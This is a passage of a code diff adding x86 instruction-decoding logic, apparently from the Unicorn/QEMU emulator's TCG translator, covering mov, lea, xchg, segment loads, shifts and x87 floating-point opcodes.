gen_pop_update(s, ot); + if (s->is_jmp) { + gen_jmp_im(s, s->pc - s->cs_base); + gen_eob(s); + } + break; + + /**************************/ + /* mov */ + case 0x88: + case 0x89: /* mov Gv, Ev */ + ot = mo_b_d(b, dflag); + modrm = cpu_ldub_code(env, s->pc++); + reg = ((modrm >> 3) & 7) | rex_r; + + /* generate a generic store */ + gen_ldst_modrm(env, s, modrm, ot, reg, 1); + break; + case 0xc6: + case 0xc7: /* mov Ev, Iv */ + ot = mo_b_d(b, dflag); + modrm = cpu_ldub_code(env, s->pc++); + mod = (modrm >> 6) & 3; + reg = ((modrm >> 3) & 7) | rex_r; + if (mod != 3) { + if (reg != 0) + goto illegal_op; + s->rip_offset = insn_const_size(ot); + gen_lea_modrm(env, s, modrm); + } else { + if (reg != 0 && reg != 7) + goto illegal_op; + } + val = insn_get(env, s, ot); + tcg_gen_movi_tl(tcg_ctx, *cpu_T[0], val); + if (mod != 3) { + gen_op_st_v(s, ot, *cpu_T[0], cpu_A0); + } else { + gen_op_mov_reg_v(tcg_ctx, ot, (modrm & 7) | REX_B(s), *cpu_T[0]); + } + break; + case 0x8a: + case 0x8b: /* mov Ev, Gv */ + ot = mo_b_d(b, dflag); + modrm = cpu_ldub_code(env, s->pc++); + reg = ((modrm >> 3) & 7) | rex_r; + + gen_ldst_modrm(env, s, modrm, ot, OR_TMP0, 0); + gen_op_mov_reg_v(tcg_ctx, ot, reg, *cpu_T[0]); + break; + case 0x8e: /* mov seg, Gv */ + modrm = cpu_ldub_code(env, s->pc++); + reg = (modrm >> 3) & 7; + if (reg >= 6 || reg == R_CS) + goto illegal_op; + gen_ldst_modrm(env, s, modrm, MO_16, OR_TMP0, 0); + gen_movl_seg_T0(s, reg, pc_start - s->cs_base); + if (reg == R_SS) { + /* if reg == SS, inhibit interrupts/trace */ + /* If several instructions disable interrupts, only the + _first_ does it */ + if (!(s->tb->flags & HF_INHIBIT_IRQ_MASK)) + gen_helper_set_inhibit_irq(tcg_ctx, cpu_env); + s->tf = 0; + } + if (s->is_jmp) { + gen_jmp_im(s, s->pc - s->cs_base); + gen_eob(s); + } + break; + case 0x8c: /* mov Gv, seg */ + modrm = cpu_ldub_code(env, s->pc++); + reg = (modrm >> 3) & 7; + mod = (modrm >> 6) & 3; + if (reg >= 6) + goto illegal_op; + gen_op_movl_T0_seg(tcg_ctx, reg); + ot = mod == 3 ? dflag : MO_16; + gen_ldst_modrm(env, s, modrm, ot, OR_TMP0, 1); + break; + + case 0x1b6: /* movzbS Gv, Eb */ + case 0x1b7: /* movzwS Gv, Eb */ + case 0x1be: /* movsbS Gv, Eb */ + case 0x1bf: /* movswS Gv, Eb */ + { + TCGMemOp d_ot; + TCGMemOp s_ot; + + /* d_ot is the size of destination */ + d_ot = dflag; + /* ot is the size of source */ + ot = (b & 1) + MO_8; + /* s_ot is the sign+size of source */ + s_ot = b & 8 ? MO_SIGN | ot : ot; + + modrm = cpu_ldub_code(env, s->pc++); + reg = ((modrm >> 3) & 7) | rex_r; + mod = (modrm >> 6) & 3; + rm = (modrm & 7) | REX_B(s); + + if (mod == 3) { + gen_op_mov_v_reg(tcg_ctx, ot, *cpu_T[0], rm); + switch (s_ot) { + case MO_UB: + tcg_gen_ext8u_tl(tcg_ctx, *cpu_T[0], *cpu_T[0]); + break; + case MO_SB: + tcg_gen_ext8s_tl(tcg_ctx, *cpu_T[0], *cpu_T[0]); + break; + case MO_UW: + tcg_gen_ext16u_tl(tcg_ctx, *cpu_T[0], *cpu_T[0]); + break; + default: + case MO_SW: + tcg_gen_ext16s_tl(tcg_ctx, *cpu_T[0], *cpu_T[0]); + break; + } + gen_op_mov_reg_v(tcg_ctx, d_ot, reg, *cpu_T[0]); + } else { + gen_lea_modrm(env, s, modrm); + gen_op_ld_v(s, s_ot, *cpu_T[0], cpu_A0); + gen_op_mov_reg_v(tcg_ctx, d_ot, reg, *cpu_T[0]); + } + } + break; + + case 0x8d: /* lea */ + ot = dflag; + modrm = cpu_ldub_code(env, s->pc++); + mod = (modrm >> 6) & 3; + if (mod == 3) + goto illegal_op; + reg = ((modrm >> 3) & 7) | rex_r; + /* we must ensure that no segment is added */ + s->override = -1; + val = s->addseg; + s->addseg = 0; + gen_lea_modrm(env, s, modrm); + s->addseg = val; + gen_op_mov_reg_v(tcg_ctx, ot, reg, cpu_A0); + break; + + case 0xa0: /* mov EAX, Ov */ + case 0xa1: + case 0xa2: /* mov Ov, EAX */ + case 0xa3: + { + target_ulong offset_addr; + + ot = mo_b_d(b, dflag); + switch (s->aflag) { +#ifdef TARGET_X86_64 + case MO_64: + offset_addr = cpu_ldq_code(env, s->pc); + s->pc += 8; + break; +#endif + default: + offset_addr = insn_get(env, s, s->aflag); + break; + } + tcg_gen_movi_tl(tcg_ctx, cpu_A0, offset_addr); + gen_add_A0_ds_seg(s); + if ((b & 2) == 0) { + gen_op_ld_v(s, ot, *cpu_T[0], cpu_A0); + gen_op_mov_reg_v(tcg_ctx, ot, R_EAX, *cpu_T[0]); + } else { + gen_op_mov_v_reg(tcg_ctx, ot, *cpu_T[0], R_EAX); + gen_op_st_v(s, ot, *cpu_T[0], cpu_A0); + } + } + break; + case 0xd7: /* xlat */ + tcg_gen_mov_tl(tcg_ctx, cpu_A0, *cpu_regs[R_EBX]); + tcg_gen_ext8u_tl(tcg_ctx, *cpu_T[0], *cpu_regs[R_EAX]); + tcg_gen_add_tl(tcg_ctx, cpu_A0, cpu_A0, *cpu_T[0]); + gen_extu(tcg_ctx, s->aflag, cpu_A0); + gen_add_A0_ds_seg(s); + gen_op_ld_v(s, MO_8, *cpu_T[0], cpu_A0); + gen_op_mov_reg_v(tcg_ctx, MO_8, R_EAX, *cpu_T[0]); + break; + case 0xb0: case 0xb1: case 0xb2: case 0xb3: + case 0xb4: case 0xb5: case 0xb6: case 0xb7: //case 0xb0 ... 0xb7: /* mov R, Ib */ + val = insn_get(env, s, MO_8); + tcg_gen_movi_tl(tcg_ctx, *cpu_T[0], val); + gen_op_mov_reg_v(tcg_ctx, MO_8, (b & 7) | REX_B(s), *cpu_T[0]); + break; + case 0xb8: case 0xb9: case 0xba: case 0xbb: + case 0xbc: case 0xbd: case 0xbe: case 0xbf: //case 0xb8 ... 0xbf: /* mov R, Iv */ +#ifdef TARGET_X86_64 + if (dflag == MO_64) { + uint64_t tmp; + /* 64 bit case */ + tmp = cpu_ldq_code(env, s->pc); + s->pc += 8; + reg = (b & 7) | REX_B(s); + tcg_gen_movi_tl(tcg_ctx, *cpu_T[0], tmp); + gen_op_mov_reg_v(tcg_ctx, MO_64, reg, *cpu_T[0]); + } else +#endif + { + ot = dflag; + val = insn_get(env, s, ot); + reg = (b & 7) | REX_B(s); + tcg_gen_movi_tl(tcg_ctx, *cpu_T[0], val); + gen_op_mov_reg_v(tcg_ctx, ot, reg, *cpu_T[0]); + } + break; + + case 0x91: case 0x92: case 0x93: + case 0x94: case 0x95: case 0x96: case 0x97: //case 0x91 ... 0x97: /* xchg R, EAX */ + do_xchg_reg_eax: + ot = dflag; + reg = (b & 7) | REX_B(s); + rm = R_EAX; + goto do_xchg_reg; + case 0x86: + case 0x87: /* xchg Ev, Gv */ + ot = mo_b_d(b, dflag); + modrm = cpu_ldub_code(env, s->pc++); + reg = ((modrm >> 3) & 7) | rex_r; + mod = (modrm >> 6) & 3; + if (mod == 3) { + rm = (modrm & 7) | REX_B(s); + do_xchg_reg: + gen_op_mov_v_reg(tcg_ctx, ot, *cpu_T[0], reg); + gen_op_mov_v_reg(tcg_ctx, ot, *cpu_T[1], rm); + gen_op_mov_reg_v(tcg_ctx, ot, rm, *cpu_T[0]); + gen_op_mov_reg_v(tcg_ctx, ot, reg, *cpu_T[1]); + } else { + gen_lea_modrm(env, s, modrm); + gen_op_mov_v_reg(tcg_ctx, ot, *cpu_T[0], reg); + /* for xchg, lock is implicit */ + if (!(prefixes & PREFIX_LOCK)) + gen_helper_lock(tcg_ctx, cpu_env); + gen_op_ld_v(s, ot, *cpu_T[1], cpu_A0); + gen_op_st_v(s, ot, *cpu_T[0], cpu_A0); + if (!(prefixes & PREFIX_LOCK)) + gen_helper_unlock(tcg_ctx, cpu_env); + gen_op_mov_reg_v(tcg_ctx, ot, reg, *cpu_T[1]); + } + break; + case 0xc4: /* les Gv */ + /* In CODE64 this is VEX3; see above. */ + op = R_ES; + goto do_lxx; + case 0xc5: /* lds Gv */ + /* In CODE64 this is VEX2; see above. */ + op = R_DS; + goto do_lxx; + case 0x1b2: /* lss Gv */ + op = R_SS; + goto do_lxx; + case 0x1b4: /* lfs Gv */ + op = R_FS; + goto do_lxx; + case 0x1b5: /* lgs Gv */ + op = R_GS; + do_lxx: + ot = dflag != MO_16 ? MO_32 : MO_16; + modrm = cpu_ldub_code(env, s->pc++); + reg = ((modrm >> 3) & 7) | rex_r; + mod = (modrm >> 6) & 3; + if (mod == 3) + goto illegal_op; + gen_lea_modrm(env, s, modrm); + gen_op_ld_v(s, ot, *cpu_T[1], cpu_A0); + gen_add_A0_im(s, 1 << ot); + /* load the segment first to handle exceptions properly */ + gen_op_ld_v(s, MO_16, *cpu_T[0], cpu_A0); + gen_movl_seg_T0(s, op, pc_start - s->cs_base); + /* then put the data */ + gen_op_mov_reg_v(tcg_ctx, ot, reg, *cpu_T[1]); + if (s->is_jmp) { + gen_jmp_im(s, s->pc - s->cs_base); + gen_eob(s); + } + break; + + /************************/ + /* shifts */ + case 0xc0: + case 0xc1: + /* shift Ev,Ib */ + shift = 2; + grp2_label: + { + ot = mo_b_d(b, dflag); + modrm = cpu_ldub_code(env, s->pc++); + mod = (modrm >> 6) & 3; + op = (modrm >> 3) & 7; + + if (mod != 3) { + if (shift == 2) { + s->rip_offset = 1; + } + gen_lea_modrm(env, s, modrm); + opreg = OR_TMP0; + } else { + opreg = (modrm & 7) | REX_B(s); + } + + /* simpler op */ + if (shift == 0) { + gen_shift(s, op, ot, opreg, OR_ECX); + } else { + if (shift == 2) { + shift = cpu_ldub_code(env, s->pc++); + } + gen_shifti(s, op, ot, opreg, shift); + } + } + break; + case 0xd0: + case 0xd1: + /* shift Ev,1 */ + shift = 1; + goto grp2_label; + case 0xd2: + case 0xd3: + /* shift Ev,cl */ + shift = 0; + goto grp2_label; + + case 0x1a4: /* shld imm */ + op = 0; + shift = 1; + goto do_shiftd; + case 0x1a5: /* shld cl */ + op = 0; + shift = 0; + goto do_shiftd; + case 0x1ac: /* shrd imm */ + op = 1; + shift = 1; + goto do_shiftd; + case 0x1ad: /* shrd cl */ + op = 1; + shift = 0; + do_shiftd: + ot = dflag; + modrm = cpu_ldub_code(env, s->pc++); + mod = (modrm >> 6) & 3; + rm = (modrm & 7) | REX_B(s); + reg = ((modrm >> 3) & 7) | rex_r; + if (mod != 3) { + gen_lea_modrm(env, s, modrm); + opreg = OR_TMP0; + } else { + opreg = rm; + } + gen_op_mov_v_reg(tcg_ctx, ot, *cpu_T[1], reg); + + if (shift) { + TCGv imm = tcg_const_tl(tcg_ctx, cpu_ldub_code(env, s->pc++)); + gen_shiftd_rm_T1(s, ot, opreg, op, imm); + tcg_temp_free(tcg_ctx, imm); + } else { + gen_shiftd_rm_T1(s, ot, opreg, op, *cpu_regs[R_ECX]); + } + break; + + /************************/ + /* floats */ + case 0xd8: case 0xd9: case 0xda: case 0xdb: + case 0xdc: case 0xdd: case 0xde: case 0xdf: //case 0xd8 ... 0xdf: + if (s->flags & (HF_EM_MASK | HF_TS_MASK)) { + /* if CR0.EM or CR0.TS are set, generate an FPU exception */ + /* XXX: what to do if illegal op ? */ + gen_exception(s, EXCP07_PREX, pc_start - s->cs_base); + break; + } + modrm = cpu_ldub_code(env, s->pc++); + mod = (modrm >> 6) & 3; + rm = modrm & 7; + op = ((b & 7) << 3) | ((modrm >> 3) & 7); + if (mod != 3) { + /* memory op */ + gen_lea_modrm(env, s, modrm); + + if( (op >= 0x00 && op <= 0x07) || /* fxxxs */ + (op >= 0x10 && op <= 0x17) || /* fixxxl */ + (op >= 0x20 && op <= 0x27) || /* fxxxl */ + (op >= 0x30 && op <= 0x37) ) /* fixxx */ + { + int op1; + op1 = op & 7; + + switch(op >> 4) { + case 0: + tcg_gen_qemu_ld_i32(s->uc, cpu_tmp2_i32, cpu_A0, + s->mem_index, MO_LEUL); + gen_helper_flds_FT0(tcg_ctx, cpu_env, cpu_tmp2_i32); + break; + case 1: + tcg_gen_qemu_ld_i32(s->uc, cpu_tmp2_i32, cpu_A0, + s->mem_index, MO_LEUL); + gen_helper_fildl_FT0(tcg_ctx, cpu_env, cpu_tmp2_i32); + break; + case 2: + tcg_gen_qemu_ld_i64(s->uc, cpu_tmp1_i64, cpu_A0, + s->mem_index, MO_LEQ); + gen_helper_fldl_FT0(tcg_ctx, cpu_env, cpu_tmp1_i64); + break; + case 3: + default: + tcg_gen_qemu_ld_i32(s->uc, cpu_tmp2_i32, cpu_A0, + s->mem_index, MO_LESW); + gen_helper_fildl_FT0(tcg_ctx, cpu_env, cpu_tmp2_i32); + break; + } + + gen_helper_fp_arith_ST0_FT0(tcg_ctx, op1); + if (op1 == 3) { + /* fcomp needs pop */ + gen_helper_fpop(tcg_ctx, cpu_env); + } + fpu_update_ip(env, pc_start); + } + else if((op == 0x08) || /* flds */ + (op == 0x0a) || /* fsts */ + (op == 0x0b) || /* fstps */ + (op >= 0x18 && op <= 0x1b) || /* fildl, fisttpl, fistl, fistpl */ + (op >= 0x28 && op <= 0x2b) || /* fldl, fisttpll, fstl, fstpl */ + (op >= 0x38 && op <= 0x3b) ) /* filds, fisttps, fists, fistps */ + { + switch(op & 7) { + case 0: + switch(op >> 4) { + case 0: + tcg_gen_qemu_ld_i32(s->uc, cpu_tmp2_i32, cpu_A0, + s->mem_index, MO_LEUL); + gen_helper_flds_ST0(tcg_ctx, cpu_env, cpu_tmp2_i32); + break; + case 1: + tcg_gen_qemu_ld_i32(s->uc, cpu_tmp2_i32, cpu_A0, + s->mem_index, MO_LEUL); + gen_helper_fildl_ST0(tcg_ctx, cpu_env, cpu_tmp2_i32); + break; + case 2: + tcg_gen_qemu_ld_i64(s->uc, cpu_tmp1_i64, cpu_A0, + s->mem_index, MO_LEQ); + gen_helper_fldl_ST0(tcg_ctx, cpu_env, cpu_tmp1_i64); + break; + case 3: + default: + tcg_gen_qemu_ld_i32(s->uc, cpu_tmp2_i32, cpu_A0, + s->mem_index, MO_LESW); + gen_helper_fildl_ST0(tcg_ctx, cpu_env, cpu_tmp2_i32); + break; + } + break; + case 1: + /* XXX: the corresponding CPUID bit must be tested ! */ + switch(op >> 4) { + case 1: + gen_helper_fisttl_ST0(tcg_ctx, cpu_tmp2_i32, cpu_env); + tcg_gen_qemu_st_i32(s->uc, cpu_tmp2_i32, cpu_A0, + s->mem_index, MO_LEUL); + break; + case 2: + gen_helper_fisttll_ST0(tcg_ctx, cpu_tmp1_i64, cpu_env); + tcg_gen_qemu_st_i64(s->uc, cpu_tmp1_i64, cpu_A0, + s->mem_index, MO_LEQ); + break; + case 3: + default: + gen_helper_fistt_ST0(tcg_ctx, cpu_tmp2_i32, cpu_env); + tcg_gen_qemu_st_i32(s->uc, cpu_tmp2_i32, cpu_A0, + s->mem_index, MO_LEUW); + break; + } + gen_helper_fpop(tcg_ctx, cpu_env); + break; + default: + switch(op >> 4) { + case 0: + gen_helper_fsts_ST0(tcg_ctx, cpu_tmp2_i32, cpu_env); + tcg_gen_qemu_st_i32(s->uc, cpu_tmp2_i32, cpu_A0, + s->mem_index, MO_LEUL); + break; + case 1: + gen_helper_fistl_ST0(tcg_ctx, cpu_tmp2_i32, cpu_env); + tcg_gen_qemu_st_i32(s->uc, cpu_tmp2_i32, cpu_A0, + s->mem_index, MO_LEUL); + break; + case 2: + gen_helper_fstl_ST0(tcg_ctx, cpu_tmp1_i64, cpu_env); + tcg_gen_qemu_st_i64(s->uc, cpu_tmp1_i64, cpu_A0, + s->mem_index, MO_LEQ); + break; + case 3: + default: + gen_helper_fist_ST0(tcg_ctx, cpu_tmp2_i32, cpu_env); + tcg_gen_qemu_st_i32(s->uc, cpu_tmp2_i32, cpu_A0, + s->mem_index, MO_LEUW); + break; + } + if ((op & 7) == 3) + gen_helper_fpop(tcg_ctx, cpu_env); + break; + } + fpu_update_ip(env, pc_start); + } + else if(op == 0x0c) /* fldenv mem */ + { + gen_update_cc_op(s); + gen_jmp_im(s, pc_start - s->cs_base); + gen_helper_fldenv(tcg_ctx, cpu_env, cpu_A0, tcg_const_i32(tcg_ctx, dflag - 1)); + } + else if(op == 0x0d) /* fldcw mem */ + { + tcg_gen_qemu_ld_i32(s->uc, cpu_tmp2_i32, cpu_A0, + s->mem_index, MO_LEUW); + gen_helper_fldcw(tcg_ctx, cpu_env, cpu_tmp2_i32); + } + else if(op == 0x0e) /* fnstenv mem */ + { + gen_update_cc_op(s); + gen_jmp_im(s, pc_start - s->cs_base); + gen_helper_fstenv(tcg_ctx, cpu_env, cpu_A0, tcg_const_i32(tcg_ctx, dflag - 1)); + } + else if(op == 0x0f) /* fnstcw mem */ + { + gen_helper_fnstcw(tcg_ctx, cpu_tmp2_i32, cpu_env); + tcg_gen_qemu_st_i32(s->uc, cpu_tmp2_i32, cpu_A0, + s->mem_index, MO_LEUW); + } + else if(op == 0x1d) /* fldt mem */ + { + gen_update_cc_op(s); + gen_jmp_im(s, pc_start - s->cs_base); + gen_helper_fldt_ST0(tcg_ctx, cpu_env, cpu_A0); + fpu_update_ip(env, pc_start); + } + else if(op == 0x1f) /* fstpt mem */ + { + gen_update_cc_op(s); + gen_jmp_im(s, pc_start - s->cs_base); + gen_helper_fstt_ST0(tcg_ctx, cpu_env, cpu_A0); + gen_helper_fpop(tcg_ctx, cpu_env); + fpu_update_ip(env, pc_start); + } + else if(op == 0x2c) /* frstor mem */ + { + gen_update_cc_op(s); + gen_jmp_im(s, pc_start - s->cs_base); + gen_helper_frstor(tcg_ctx, cpu_env, cpu_A0, tcg_const_i32(tcg_ctx, dflag - 1)); + } + else if(op == 0x2e) /* fnsave mem */ + { + gen_update_cc_op(s); + gen_jmp_im(s, pc_start - s->cs_base); + gen_helper_fsave(tcg_ctx, cpu_env, cpu_A0, tcg_const_i32(tcg_ctx, dflag - 1)); + } + else if(op == 0x2f) /* fnstsw mem */ + { + gen_helper_fnstsw(tcg_ctx, cpu_tmp2_i32, cpu_env); + tcg_gen_qemu_st_i32(s->uc, cpu_tmp2_i32, cpu_A0, + s->mem_index, MO_LEUW); + } + else if(op == 0x3c) /* fbld */ + { + gen_update_cc_op(s); + gen_jmp_im(s, pc_start - s->cs_base); + gen_helper_fbld_ST0(tcg_ctx, cpu_env, cpu_A0); + fpu_update_ip(env, pc_start); + } + else if(op == 0x3e) /* fbstp */ + { + gen_update_cc_op(s); + gen_jmp_im(s, pc_start - s->cs_base); + gen_helper_fbst_ST0(tcg_ctx, cpu_env, cpu_A0); + gen_helper_fpop(tcg_ctx, cpu_env); + fpu_update_ip(env, pc_start); + } + else if(op == 0x3d) /* fildll */ + { + tcg_gen_qemu_ld_i64(s->uc, cpu_tmp1_i64, cpu_A0, s->mem_index, MO_LEQ); + gen_helper_fildll_ST0(tcg_ctx, cpu_env, cpu_tmp1_i64); + fpu_update_ip(env, pc_start); + } + else if(op == 0x3f) /* fistpll */ + { + gen_helper_fistll_ST0(tcg_ctx, cpu_tmp1_i64, cpu_env); + tcg_gen_qemu_st_i64(s->uc, cpu_tmp1_i64, cpu_A0, s->mem_index, MO_LEQ); + gen_helper_fpop(tcg_ctx, cpu_env); + fpu_update_ip(env, pc_start); + } + else + { + goto illegal_op; + } + } else { + /* register float ops */ + opreg = rm; + + switch(op) { + case 0x08: /* fld sti */ + gen_helper_fpush(tcg_ctx, cpu_env); + gen_helper_fmov_ST0_STN(tcg_ctx, cpu_env, + tcg_const_i32(tcg_ctx, (opreg + 1) & 7)); + break; + case 0x09: /* fxchg sti */ + case 0x29: /* fxchg4 sti, undocumented op */ + case 0x39: /* fxchg7 sti, undocumented op */ + gen_helper_fxchg_ST0_STN(tcg_ctx, cpu_env, tcg_const_i32(tcg_ctx, opreg)); + break; + case 0x0a: /* grp d9/2 */ + switch(rm) { + case 0: /* fnop */ + /* check exceptions (FreeBSD FPU probe) */ + gen_update_cc_op(s); + gen_jmp_im(s, pc_start - s->cs_base); + gen_helper_fwait(tcg_ctx, cpu_env); + break; + default: + goto illegal_op; + } + break; + case 0x0c: /* grp d9/4 */ + switch(rm) { + case 0: /* fchs */ + gen_helper_fchs_ST0(tcg_ctx, cpu_env); + break; + case 1: /* fabs */ + gen_helper_fabs_ST0(tcg_ctx, cpu_env); + break; + case 4: /* ftst */ + gen_helper_fldz_FT0(tcg_ctx, cpu_env); + gen_helper_fcom_ST0_FT0(tcg_ctx, cpu_env); + break; + case 5: /* fxam */ + gen_helper_fxam_ST0(tcg_ctx, cpu_env); + break; + default: + goto illegal_op; + } + break; + case 0x0d: /* grp d9/5 */ + { + switch(rm) { + case 0: + gen_helper_fpush(tcg_ctx, cpu_env); + gen_helper_fld1_ST0(tcg_ctx, cpu_env); + break; + case 1: + gen_helper_fpush(tcg_ctx, cpu_env); + gen_helper_fldl2t_ST0(tcg_ctx, cpu_env); + break; + case 2: + gen_helper_fpush(tcg_ctx, cpu_env); + gen_helper_fldl2e_ST0(tcg_ctx, cpu_env); + break; + case 3: + gen_helper_fpush(tcg_ctx, cpu_env); + gen_helper_fldpi_ST0(tcg_ctx, cpu_env); + break; + case 4: + gen_helper_fpush(tcg_ctx, cpu_env); + gen_helper_fldlg2_ST0(tcg_ctx, cpu_env); + break; + case 5: + gen_helper_fpush(tcg_ctx, cpu_env); + gen_helper_fldln2_ST0(tcg_ctx, cpu_env); + break; + case 6: + gen_helper_fpush(tcg_ctx, cpu_env); + gen_helper_fldz_ST0(tcg_ctx, cpu_env); + break; + default: + goto illegal_op; + } + } + break; + case 0x0e: /* grp d9/6 */ + switch(rm) { + case 0: /* f2xm1 */ + gen_helper_f2xm1(tcg_ctx, cpu_env); + break; + case 1: /* fyl2x */ + gen_helper_fyl2x(tcg_ctx, cpu_env); + break; + case 2: /* fptan */ + gen_helper_fptan(tcg_ctx, cpu_env); + break; + case 3: /* fpatan */ + gen_helper_fpatan(tcg_ctx, cpu_env); + break; + case 4: /* fxtract */ + gen_helper_fxtract(tcg_ctx, cpu_env); + break; + case 5: /* fprem1 */ + gen_helper_fprem1(tcg_ctx, cpu_env); + break; + case 6: /* fdecstp */ + gen_helper_fdecstp(tcg_ctx, cpu_env); + break; + default: + case 7: /* fincstp */ + gen_helper_fincstp(tcg_ctx, cpu_env); + break; + } + break; + case 0x0f: /* grp d9/7 */ + switch(rm) { + case 0: /* fprem */ + gen_helper_fprem(tcg_ctx, cpu_env); + break; + case 1: /* fyl2xp1 */ + gen_helper_fyl2xp1(tcg_ctx, cpu_env); + break; + case 2: /* fsqrt */ + gen_helper_fsqrt(tcg_ctx, cpu_env); + break; + case 3: /* fsincos */ + gen_helper_fsincos(tcg_ctx, cpu_env); + break; + case 5: /* fscale */ + gen_helper_fscale(tcg_ctx, cpu_env); + break; + case 4: /* frndint */ + gen_helper_frndint(tcg_ctx, cpu_env); + break; + case 6: /* fsin */ + gen_helper_fsin(tcg_ctx, cpu_env); + break; + default: + case 7: /* fcos */ + gen_helper_fcos(tcg_ctx, cpu_env); + break; + } + break; + case 0x00: case 0x01: case 0x04: case 0x05: case 0x06: case 0x07: /* fxxx st, sti */ + case 0x20: case 0x21: case 0x24: case 0x25: case 0x26: case 0x27: /* fxxx sti, st */ + case 0x30: case 0x31: case 0x34: case 0x35: case 0x36: case 0x37: /* fxxxp sti, st */ + { + int op1; + + op1 = op & 7; + if (op >= 0x20) { + gen_helper_fp_arith_STN_ST0(tcg_ctx, op1, opreg); + if (op >= 0x30) + gen_helper_fpop(tcg_ctx, cpu_env); + } else { + gen_helper_fmov_FT0_STN(tcg_ctx, cpu_env, tcg_const_i32(tcg_ctx, opreg)); + gen_helper_fp_arith_ST0_FT0(tcg_ctx, op1); + } + } + break; + case 0x02: /* fcom */ + case 0x22: /* fcom2, undocumented op */ + gen_helper_fmov_FT0_STN(tcg_ctx, cpu_env, tcg_const_i32(tcg_ctx, opreg)); + gen_helper_fcom_ST0_FT0(tcg_ctx, cpu_env); + break; + case 0x03: /* fcomp */ + case 0x23: /* fcomp3, undocumented op */ + case 0x32: /* fcomp5, undocumented op */ + gen_helper_fmov_FT0_STN(tcg_ctx, cpu_env, tcg_const_i32(tcg_ctx, opreg)); + gen_helper_fcom_ST0_FT0(tcg_ctx, cpu_env); + gen_helper_fpop(tcg_ctx, cpu_env); + break; + case 0x15: /* da/5 */ + switch(rm) { + case 1: /* fucompp */ + gen_helper_fmov_FT0_STN(tcg_ctx, cpu_env, tcg_const_i32(tcg_ctx, 1)); + gen_helper_fucom_ST0_FT0(tcg_ctx, cpu_env); + gen_helper_fpop(tcg_ctx, cpu_env); + gen_helper_fpop(tcg_ctx, cpu_env); + break; + default: + goto illegal_op; + } + break; + case 0x1c: + switch(rm) { + case 0: /* feni (287 only, just do nop here) */ + break; + case 1: /* fdisi (287 only, just do nop here) */ + break; + case 2: /* fclex */ + gen_helper_fclex(tcg_ctx, cpu_env); + break; + case 3: /* fninit */ + gen_helper_fninit(tcg_ctx, cpu_env); + break; + case 4: /* fsetpm (287 only, just do nop here) */ + break; + default: + goto illegal_op; + } + break; + case 0x1d: /* fucomi */ + if (!(s->cpuid_features & CPUID_CMOV)) { + goto illegal_op; + } + gen_update_cc_op(s); + gen_helper_fmov_FT0_STN(tcg_ctx, cpu_env, tcg_const_i32(tcg_ctx, opreg)); + gen_helper_fucomi_ST0_FT0(tcg_ctx, cpu_env); + set_cc_op(s, CC_OP_EFLAGS); + break; + case 0x1e: /* fcomi */ + if (!(s->cpuid_features & CPUID_CMOV)) { + goto illegal_op; + } + gen_update_cc_op(s); + gen_helper_fmov_FT0_STN(tcg_ctx, cpu_env, tcg_const_i32(tcg_ctx, opreg)); + gen_helper_fcomi_ST0_FT0(tcg_ctx, cpu_env); + set_cc_op(s, CC_OP_EFLAGS); + break; + case 0x28: /* ffree sti */ + gen_helper_ffree_STN(tcg_ctx, cpu_env, tcg_const_i32(tcg_ctx, opreg)); + break; + case 0x2a: /* fst sti */ + gen_helper_fmov_STN_ST0(tcg_ctx, cpu_env, tcg_const_i32(tcg_ctx, opreg)); + break; + case 0x2b: /* fstp sti */ + case 0x0b: /* fstp1 sti, undocumented op */ + case 0x3a: /* fstp8 sti, undocumented op */ + case 0x3b: /* fstp9 sti, undocumented op */ + gen_helper_fmov_STN_ST0(tcg_ctx, cpu_env, tcg_const_i32(tcg_ctx, opreg)); + gen_helper_fpop(tcg_ctx, cpu_env); + break; + case 0x2c: /* fucom st(i) */ + gen_helper_fmov_FT0_STN(tcg_ctx, cpu_env, tcg_const_i32(tcg_ctx, opreg)); + gen_helper_fucom_ST0_FT0(tcg_ctx, cpu_env); + break; + case 0x2d: /* fucomp st(i) */ + gen_helper_fmov_FT0_STN(tcg_ctx, cpu_env, tcg_const_i32(tcg_ctx, opreg)); + gen_helper_fucom_ST0_FT0(tcg_ctx, cpu_env); + gen_helper_fpop(tcg_ctx, cpu_env); + break; + case 0x33: /* de/3 */ + switch(rm) { + case 1: /* fcompp */ + gen_helper_fmov_FT0_STN(tcg_ctx, cpu_env, tcg_const_i32(tcg_ctx, 1)); + gen_helper_fcom_ST0_FT0(tcg_ctx, cpu_env); + gen_helper_fpop(tcg_ctx, cpu_env); + gen_helper_fpop(tcg_ctx, cpu_env); + break; + default: + goto illegal_op; + } + break; + case 0x38: /* ffreep sti, undocumented op */ + gen_helper_ffree_STN(tcg_ctx, cpu_env, tcg_const_i32(tcg_ctx, opreg)); + gen_helper_fpop(tcg_ctx, cpu_env); + break; + case 0x3c: /* df/4 */ + switch(rm) { + case 0: + gen_helper_fnstsw(tcg_ctx, cpu_tmp2_i32, cpu_env); + tcg_gen_extu_i32_tl(tcg_ctx, *cpu_T[0], cpu_tmp2_i32); + gen_op_mov_reg_v(tcg_ctx, MO_16, R_EAX, *cpu_T[0]); + break; + default: + goto illegal_op; + } + break; + case 0x3d: /* fucomip */ + if (!(s->cpuid_features & CPUID_CMOV)) { + goto illegal_op; + } + gen_update_cc_op(s); + gen_helper_fmov_FT0_STN(tcg_ctx, cpu_env, tcg_const_i32(tcg_ctx, opreg)); + gen_helper_fucomi_ST0_FT0(tcg_ctx, cpu_env); + gen_helper_fpop(tcg_ctx, cpu_env); + set_cc_op(s, CC_OP_EFLAGS); + break; + case 0x3e: /* fcomip */ + if (!(s->cpuid_features & CPUID_CMOV)) { + goto illegal_op; + } + gen_update_cc_op(s); + gen_helper_fmov_FT0_STN(tcg_ctx, cpu_env, tcg_const_i32(tcg_ctx, opreg)); + gen_helper_fcomi_ST0_FT0(tcg_ctx, cpu_env); + gen_helper_fpop(tcg_ctx, cpu_env); + set_cc_op(s, CC_OP_EFLAGS); + break; + case 0x10: case 0x11: case 0x12: case 0x13: /* fcmovxx */ + case 0x18: case 0x19: case 0x1a: case 0x1b: + { + int op1, l1; + static const uint8_t fcmov_cc[8] = { + (JCC_B << 1), + (JCC_Z << 1), + (JCC_BE << 1), + (JCC_P << 1), + }; + + if (!(s->cpuid_features & CPUID_CMOV)) { + goto illegal_op; + } + op1 = fcmov_cc[op & 3] | (((op >> 3) & 1) ^ 1); + l1 = gen_new_label(tcg_ctx); + gen_jcc1_noeob(s, op1, l1); + gen_helper_fmov_ST0_STN(tcg_ctx, cpu_env, tcg_const_i32(tcg_ctx, opreg)); + gen_set_label(tcg_ctx, l1); + } + break; + default: + goto illegal_op; + } + fpu_update_ip(env, pc_start); + } + break; + /************************/ + /* string ops */ + 